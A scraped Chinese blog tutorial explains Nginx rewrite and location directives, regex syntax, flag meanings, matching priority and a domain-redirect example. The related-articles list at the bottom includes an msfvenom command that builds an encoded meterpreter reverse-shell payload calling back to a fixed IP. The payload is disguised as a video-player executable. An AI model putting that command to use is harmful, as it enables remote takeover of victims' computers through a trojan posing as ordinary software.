linux系统Nginx服务Rewrite重写

news2024/11/15 17:32:39

文章目录

  • 一、Rewrite跳转场景
  • 二、Rewrite跳转实现
  • 三、Rewrite实际场景
      • 1.Nginx跳转需求的实现方式
      • 2.rewrite放在 server{}、if{}、location{}段中
      • 3.对域名或参数字符串
  • 四、Nginx正则表达式
    • 1.常用的正则表达式元字符
    • 2.正则表达式的优点
  • 五、Rewrite命令
    • 1.Rewrite命令语法
    • 2.flag标记说明
    • 3.last和break的比较
    • 4.rewrite会写在location里,执行顺序
  • 六、Location
    • 1.location分类
    • 2.正则匹配常用表达式
    • 3.location的优先级
    • 4.location示例
    • 5. location 匹配
  • 七、rewrite 示例:
  • 总结


一、Rewrite跳转场景

1、可以使用户浏览URL的时候,看起来更加规范、合理;例:http://www.baidu.com/index.html

2、为了让用户搜索网页的体验更好,企业会将动态URL地址伪装成静态地址从而提供服务

3、网址换新域名后,会让旧的访问跳到新的域名上

4、服务端某些业务的调整

二、Rewrite跳转实现

1、Nginx:通过ngx_http_rewrite_module 模块支持URL重写、支持if条件判断,但不支持else

2、跳转:从一个 location跳转到另一个location,循环最多可以执行10次,超过后nginx将返回500错误

3、PCRE支持:perl兼容正则表达式的语法规则匹配

4、重写模块 set 指令:创建新的变量并设其值

在这里插入图片描述

三、Rewrite实际场景

1.Nginx跳转需求的实现方式

1.使用rewrite进行匹配跳转(防盗链)。
2.使用if匹配全局变量后跳转(nginx服务本身的全局变量)。
3.使用location匹配再跳转。

2.rewrite放在 server{}、if{}、location{}段中

location只对域名后边的除去传递参数外的字符串起作用

1、server{} 段:是对整个服务器块的配置指令。在该段中使用 rewrite 指令,会对所有请求进行重写操作。该重写规则会匹配所有请求,并且这个位置是最通用的。

2、location{} 段:是对特定 URL 或 URL模式 的请求进行配置的指令。在 location 段中使用 rewrite 指令,只会对匹配该 location 规则的请求进行重写操作。可以根据需要在不同的 location 块中放置多个 rewrite 指令,用于对不同的请求进行定制化的重写。

3、if{} 段:是对某个条件进行判断和处理的指令。尽管可以在 if{} 块中使用 rewrite 指令,但官方推荐尽量避免在 if{} 块中使用 rewrite 指令,以免引发一些意外的问题。因为 if{} 段的判断是在 Nginx 解析配置时进行的,而重写是在请求处理阶段进行的。

需要注意的是,Nginx配置文件的解析是从上往下进行的,遇到进行匹配的指令后就会停止后续的匹配。所以,重写规则的顺序非常重要,它会影响到具体的匹配结果。根据实际需求,应该根据优先级的需求合理地将 rewrite 指令放置在 server{}、if{} 和 location{} 段中。

3.对域名或参数字符串

1、使用if全局变量匹配
在 Nginx 配置中,if 指令可以用于基于某些条件进行匹配和处理。你可以使用 if 指令配合全局变量进行匹配操作,示例代码如下:

http {
    # 定义一个全局变量
    set $my_variable "";

    server {
        listen 80;
        server_name example.com;

        location / {
            # 根据全局变量进行匹配
            if ($my_variable = "some_value") {
                # 匹配成功执行相应操作
                # ...
            }

            # ...
        }
    }
}

在上面的例子中,首先使用 set 指令定义了一个全局变量 $my_variable。然后在 location / 配置块中使用 if 指令根据 $my_variable 的值进行匹配。如果 $my_variable 的值为 “some_value”,则会执行相应的操作。
2、使用proxy_pass反向代理
在 Nginx 配置中使用 proxy_pass 指令可以实现反向代理功能。下面是一个示例配置:

http {
    server {
        listen 80;
        server_name example.com;

        location / {
            proxy_pass http://backend_server;
        }
    }
}

在上面的配置中,当有请求访问 example.com 时,proxy_pass 指令会将请求代理到 http://backend_server。你需要将 backend_server 替换为实际的后端服务器地址。
这样,当用户发送请求到 example.com 时,Nginx 会将请求转发到配置的后端服务器,并将后端服务器的响应返回给用户。

你还可以进一步配置其他反向代理相关的选项,例如更改请求头信息、设置代理超时等。在 location 块中可以添加其他指令来定制你的反向代理配置。

需要注意的是,为了使 proxy_pass 指令生效,你需要安装并正确配置 Nginx,并且确保后端服务器能够正确响应代理请求。

四、Nginx正则表达式

nginx表达式就是精确匹配和过滤筛选一般形式的规范。

1.常用的正则表达式元字符

^ :匹配输入字符串的起始位置
$ :匹配输入字符串的结束位置
* :匹配前面的字符零次或多次。如“ol*”能匹配“o”及“ol”、“oll”
+ :匹配前面的字符一次或多次。如“ol+”能匹配“ol”及“oll”、“olll”,但不能匹配“o”
? :匹配前面的字符零次或一次,例如“do(es)?”能匹配“do”或者“does”,”?”等效于”{0,1}”
. :匹配除“\n”之外的任何单个字符,若要匹配包括“\n”在内的任意字符,请使用诸如“[.\n]”之类的模式
\ :将后面接着的字符标记为一个特殊字符或一个原义字符或一个向后引用。如“\n”匹配一个换行符,而“\$”则匹配“$”
\d :    匹配纯数字
{n} :   重复 n 次
{n,} :  重复 n 次或更多次
{n,m} : 重复 n 到 m 次
[] :    定义匹配的字符范围
[c] :   匹配单个字符 c
[a-z] : 匹配 a-z 小写字母的任意一个
[a-zA-Z0-9] :匹配所有大小写字母或数字
() :表达式的开始和结束位置
| : 或运算符

2.正则表达式的优点

1、精确匹配,减少遍历的消耗

2、节省服务响应的资源消耗

3、提高用户体验感

4、提高服务器并发时、处理效率/性能

五、Rewrite命令

1.Rewrite命令语法

语法格式:rewrite <regex> <replacement> [flag];
regex :表示正则匹配规则。
replacement :表示跳转后的内容。
flag :表示 rewrite 支持的 flag 标记。

2.flag标记说明

1、last :本条规则匹配完成后,继续向下匹配新的location URL规则,一般用在 server 和 if 中。

2、break :本条规则匹配完成即终止,不再匹配后面的任何规则,一般使用在 location 中。

3、redirect :返回302临时重定向,浏览器地址会显示跳转后的URL地址。

4、permanent :返回301永久重定向,浏览器地址栏会显示跳转后的URL地址。

3.last和break的比较

lastbreak
使用场景一般写在server和if中一般使用在location中
URL匹配不终止重写后的URL匹配终止重写后的URL匹配

4.rewrite会写在location里,执行顺序

执行server块里面的rewrite指令

执行location匹配

执行选定的location中的rewrite指令

六、Location

1.location分类

精准匹配:location = / {…}
一般匹配:location / {…}
正则匹配:location ~ / {…}

2.正则匹配常用表达式

~ :区分大小写的匹配。
~* :不区分大小写的匹配。
!~ :区分大小写的匹配取非。
!~*:不区分大小写的匹配取非。
^~ :表示普通字符匹配。使用前缀匹配。如果匹配成功,则不再匹配其它 location。
= :进行普通字符精确匹配,也就是完全匹配。

3.location的优先级

相同类型的表达式,字符串长的会优先匹配

首先精确匹配 =
其次前缀匹配 ^~
其次是按文件中顺序的正则匹配 ~ 或~*
然后匹配不带任何修饰的前缀匹配
最后是交给 / 通用匹配

优先级总结:
(location = 完整路径) > (location ^~ 路径) > (location ,* 正则顺序) > (location 部分起始路径) > (location /)

4.location示例

(1)location = / {}
=为精确匹配 / ,主机名后面不能带任何字符串,比如访问 / 和 /data,则 / 匹配,/data 不匹配
再比如 location = /abc,则只匹配/abc ,/abc/或 /abcd不匹配。若 location  /abc,则即匹配/abc 、/abcd/ 同时也匹配 /abc/。
 
(2)location / {}
因为所有的地址都以 / 开头,所以这条规则将匹配到所有请求 比如访问 / 和 /data, 则 / 匹配, /data 也匹配,
但若后面是正则表达式会和最长字符串优先匹配(最长匹配)
 
(3)location /documents/ {}
匹配任何以 /documents/ 开头的地址,匹配符合以后,还要继续往下搜索其它 location
只有其它 location后面的正则表达式没有匹配到时,才会采用这一条
 
(4)location /documents/abc {}
匹配任何以 /documents/abc 开头的地址,匹配符合以后,还要继续往下搜索其它 location
只有其它 location后面的正则表达式没有匹配到时,才会采用这一条
 
(5)location ^~ /images/ {}
匹配任何以 /images/ 开头的地址,匹配符合以后,停止往下搜索正则,采用这一条
 
(6)location ~* \.(gif|jpg|jpeg)$ {}
匹配所有以 gif、jpg或jpeg 结尾的请求;然而,所有请求 /images/ 下的图片会被 location ^~ /images/ 处理,因为 ^~ 的优先级更高,所以到达不了这一条正则
 
(7)location /images/abc {}
最长字符匹配到 /images/abc,优先级最低,继续往下搜索其它 location,会发现 ^~ 和 ~ 存在
 
(8)location ~ /images/abc {}
匹配以/images/abc 开头的,优先级次之,只有去掉 location ^~ /images/ 才会采用这一条
 
(9)location /images/abc/1.html {}
匹配/images/abc/1.html 文件,如果和正则location ~ /images/abc/1.html 相比,正则优先级更高
 

5. location 匹配

首先看 优先级:精确>前缀>正则>一般>通用
优先级相同:正则看上下顺序,上面的优先;一般匹配看长度,最长匹配的优先
精确、前缀、正则、一般 都没有匹配到,最后再看通用匹配。

七、rewrite 示例:

(1)基于域名的跳转
现在公司旧域名www.kgc.com有业务需求变更,需要使用新域名www.benet.com代替,但是旧域名不能废除,需要跳转到新域名上,而且后面的参数保持不变。

vim /usr/local/nginx/conf/nginx.conf
server {
	listen       80;
	server_name  www.kgc.com;		#域名修改	
	charset utf-8;
	access_log  /var/log/nginx/www.kgc.com-access.log;		#日志修改
	location / {
	#添加域名重定向
        if ($host = 'www.kgc.com'){						#$host为rewrite全局变量,代表请求主机头字段或主机名
			rewrite ^/(.*)$ http://www.benet.com/$1 permanent;	#$1为正则匹配的内容,即“域名/”之后的字符串
        }
        root   html;
        index  index.html index.htm;
    }
}

在这里插入图片描述
测试语法是否正常运行,重启服务,
在这里插入图片描述
浏览器输入模拟访问 http://www.kgc.com/test/2.html(虽然这个请求内容是不存在的)
会跳转到www.benet.com/test/2.html,实现了永久重定向跳转,而且域名后的参数也正常跳转。

在这里插入图片描述在这里插入图片描述


总结

rewrite和location的区别
相同点:都能实现跳转。
不同点:
rewrite:实在同一域名内更改获取资源呢的路径。
location:是对一类路径做控制访问或反向代理,还可以proxy_paa到其他机器。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/693228.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数字IC前端学习笔记:仲裁轮询(六)

相关文章 数字IC前端学习笔记&#xff1a;LSFR&#xff08;线性反馈移位寄存器&#xff09; 数字IC前端学习笔记&#xff1a;跨时钟域信号同步 数字IC前端学习笔记&#xff1a;信号同步和边沿检测 数字IC前端学习笔记&#xff1a;锁存器Latch的综合 数字IC前端学习笔记&am…

数据库学习3

主键使用 主键的使用 CREATE TABLE t17 (id INT PRIMARY KEY ,name VARCHAR(32), email VARCHAR(32)); 主键列的值不可以重复 INSERT INTO t17 VALUES(1,jack,jacksohu.com); INSERT INTO t17 VALUES(2,tom,tomsohu.com); INSERT INTO t17 VALUES(1,hsp,hspsohu.com); SELECT …

《计算机系统与网络安全》 第九章 访问控制技术

&#x1f337;&#x1f341; 博主 libin9iOak带您 Go to New World.✨&#x1f341; &#x1f984; 个人主页——libin9iOak的博客&#x1f390; &#x1f433; 《面试题大全》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33…

2022(二等奖)C859基于WebGIS的南京市排污口管理系统

作品介绍 一、需求分析 &#xff08;一&#xff09;社会需求 《国务院办公厅关于加强入河入海排污口监督管理工作的实施意见》明确提出&#xff0c;入河入海排污口(以下简称排污口&#xff09;是指直接或通过管道、沟、渠等排污通道向环境水体排放污水的口门&#xff0c;是流…

Day40

思维导图 练习 定义一个命名空间Myspace&#xff0c;包含以下函数&#xff1a;将一个字符串中的所有单词进行反转&#xff0c;并输出反转后的结果。例如&#xff0c;输入字符串为"Hello World"&#xff0c;输出结果为"olleH dlroW"&#xff0c;并在主函数…

Visual C++中的虚函数和纯虚函数的定义

我是荔园微风&#xff0c;作为一名在IT界整整25年的老兵&#xff0c;今天来说说Visual C中的虚函数和纯虚函数。 直接说虚函数和纯虚函数有很多人会直接晕&#xff0c;但是来看这篇帖子的很多人是有JAVA或其他面象对象编程基础的&#xff0c;我要不就先作个类比&#xff0c;究…

【Java面试题】Java基础——排序算法

文章目录 冒泡排序★★★算法步骤动图演示代码示例 选择排序算法步骤动图演示 插入排序算法步骤动图演示 快速排序算法步骤动图演示 冒泡排序★★★ 冒泡排序&#xff08;Bubble Sort&#xff09;也是一种简单直观的排序算法。 它重复的遍历过要排序的数列&#xff0c;一次比…

Debian 12 “bookworm” 正式发布

经过 1 年 9 个月零 28 天的开发&#xff0c;Debian 项目推出了其新的稳定版本 12&#xff08;代号 bookworm&#xff09;。 Debian 12 包含超过 11,089 个新软件包&#xff0c;总计 64,419 个软件包&#xff0c; 6,296 个软件包已作为过时包删除。此版本更新了 43,254 个软件…

threejs让模型始终面向相机

需求&#xff1a;threejs导入3D模型&#xff0c;改变相机位置的同时&#xff0c;让模型始终面向相机。 实现方式&#xff1a;使用模型的lookAt()方法&#xff0c;设置模型lookAt的值 首次加载模型时&#xff0c;面向相机 load.load(/model5.glb, g > {// 获取相机位置const…

浮点数不再神秘:JS浮点数精度详解

文章目录 I. 引言JS中什么是浮点数为什么精度会受到影响 II. 浮点数精度的问题浮点数精度丢失的例子JS中最常见的浮点数问题精度问题对计算的影响 III. 如何避免浮点数精度问题使用精度库避免精度错误的方法显示控制精度的方法 IV. 浮点数精度问题与前端开发前端开发中的浮点数…

在k8s上部署vue

1. dockerfile镜像文件编写 # 拉取 nginx镜像 FROM nginx:1.24.0# 拷贝 nginx 配置文件到 docker中 COPY nginx.conf /etc/nginx/nginx.conf# 拷贝vue打包后的文件到 docker中 COPY webapp /usr/share/nginx/html# 新增时区设置 RUN ln -sf /usr/share/zoneinfo/Asia/Shanghai…

【FreeRTOS】FreeRTOS 静态创建任务与删除

0. 实验准备 正点原子 STM32407ZG 探索者开发板 FreeRTOS 例程模板&#xff08;可以在这一篇文章找到&#xff1a;STM32F407 移植 FreeRTOS&#xff09; 1. 静态创建任务函数 API 1.1 函数简介 动态创建任务需要使用到BaseType_t xTaskCreate函数&#xff0c;我们可以在 Fr…

VUE L ∠脚手架 插曹Vuex ⑩⑨

目录 文章有误请指正&#xff0c;如果觉得对你有用&#xff0c;请点三连一波&#xff0c;蟹蟹支持✨ V u e j s Vuejs Vuejs C L I CLI CLI 插槽 ❗ C L I CLI CLI V u e X VueX VueX 1、概念 2、何时使用&#xff1f; 3、搭建 V u e x Vuex Vuex环境 4、基本使用…

基于Scrcpy的Android手机屏幕投影到电脑教程

基于Scrcpy的Android手机屏幕投影到电脑教程 文章目录 基于Scrcpy的Android手机屏幕投影到电脑教程一&#xff0c;前言二&#xff0c;具体步骤1.软件下载2.环境配置 三&#xff0c;基于Scrcpy的手机投屏教程1.基于Scrcpy的有线手机投屏2.无线投屏 一&#xff0c;前言 在执行某…

Spring学习(一)(IoC和DI)

1.Spring是什么&#xff1f;&#xff1f;&#xff1f; 天天都能听到Spring&#xff0c;Spring&#xff0c;Spring。这东西到底是什么东西&#xff0c;是一个框架。没错通常所说的 Spring 指的是 Spring Framework&#xff08;Spring 框架&#xff09;&#xff0c;它是⼀个开源…

当RPA遇到ChatGPT, 有哪些好玩的玩法

实在RPA于2023年4月7日发布了 6.7.0 SP3&#xff0c;其中最引人注目的亮点是与ChatGPT的紧密集成 。这种集成为用户提供了全新的玩法和体验&#xff0c;使他们能够与智能模型进行即时对话和交互&#xff0c;从而提高工作效率和创造力。用户可以将ChatGPT作为虚拟助手&#xff0…

opencv C++ 识别照片中的人脸

//识别照片中的人脸 1 #include <opencv2/core/core.hpp> #include <opencv2/imgproc/imgproc.hpp> #include <opencv2/opencv.hpp> #include <vector>

机试复习*

通过一些例子重拾一些记不清了的c、c知识。 首先是位运算&#xff1a; 然后是一些其他语法、输入输出&#xff1a; //N诺一天重拾C语言 WebSite: https://noobdream.com//Major/majorinfo/1///目录://1&#xff1a;枚举类型switch语句//2&#xff1a;枚举类型//3&#xff1a;…

Unity的小工具

最近项目工期紧&#xff0c;所以更新少了&#xff0c;不过我遇到一些问题&#xff0c;当我的UI/序列帧过多的时候&#xff0c;我需要去选中UI转换成Sprite&#xff0c;而且用shift选中的时候&#xff0c;文件夹中上百个文件&#xff0c;中间混进一个其他格式的文件我还得一个一…

使用msfvenom获取windows shell

Windows 1. kali 使用 msfvenom 生成程序文件 使用一个编码器msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.133.66 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe其中,-a 指…